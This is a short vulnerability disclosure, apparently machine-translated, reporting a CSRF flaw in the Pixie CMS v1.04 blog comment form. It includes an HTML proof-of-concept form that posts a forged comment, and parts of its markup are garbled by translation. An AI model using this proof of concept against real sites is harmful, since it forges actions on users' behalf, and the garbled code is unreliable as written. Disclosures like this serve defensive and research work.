Pixie v1.04 blog post CSRF

Previous Article: http://www.bkjia.com/Article/201111/111130.html

 

Title: Pixie v1.04 blog post CSRF

Author: hackme

Http://pixie-cms.googlecode.com/files/pixie_v1.04.zip

Affected Versions: 1.04 # Tested on: Linux Ubuntu 10.10

Problem address: http://www.bkjia.com/pixie /? S = blog & m = permalink & x = my-first-post

[+] Post Method

[+] Test example:

 

<Form method = "POST" action = "http://www.bkjia.com/pixie /? S = blog & m = permalink & x = my-first-post ">

Name: <input type = "Text" name = "name" id = "name" size = "15"/> <br>

E-mail: <input type = "Text" name = "email" id = "email" size = "15"/>

<Br> web (optional): <input type = "Text" name = "web" id = "web" size = "15"/> <br>

Comment: <input type = "Text" name = "comment" id = "comment" size = "15"/> <br>

<Input type = "Submit" name = "comment_submit" id = "comment_submit" value = "invia" size = "15"/>

<Input type = "Hidden" name = "post" id = "post" value = "1"/> </form>